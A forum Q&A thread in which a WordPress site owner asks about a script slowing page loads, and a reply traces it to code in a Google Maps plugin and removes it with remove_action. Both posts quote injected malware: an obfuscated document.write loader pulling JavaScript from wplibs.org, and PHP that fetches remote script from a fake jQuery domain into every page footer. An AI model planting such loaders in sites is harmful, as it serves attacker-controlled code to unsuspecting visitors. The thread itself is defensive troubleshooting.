jquery - How can I find and delete a script that is bottleneckng my website's load time? -
i ran 'pingdom' scan on website , noticed little script slowing down site.
<script type="text/javascript"> if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); }
it's adding 6 seconds sites loading time. how can rid of it?
i tried searching in of common wordpress files, wasn't able find script anywhere.
see pingdom test more information.
i'd had trouble script too. think i've fixed me @ least. i'm programming wordpress site , saw script blocking page load. well, couldn't find script , suspected maybe script called script or else. step step discovered code included in web footer. testing wp google map pro , found in 'wp-google-map-pro.php' function on line 144:
if(!function_exists('wp_func_jquery')) { function wp_func_jquery() { $host = 'http://'; echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js'))); } add_action('wp_footer', 'wp_func_jquery');
}
well, needed include in 'functions.php' of theme:
remove_action('wp_footer', 'wp_func_jquery');
and code has dissapeared. hope usefull !!!
Comments
Post a Comment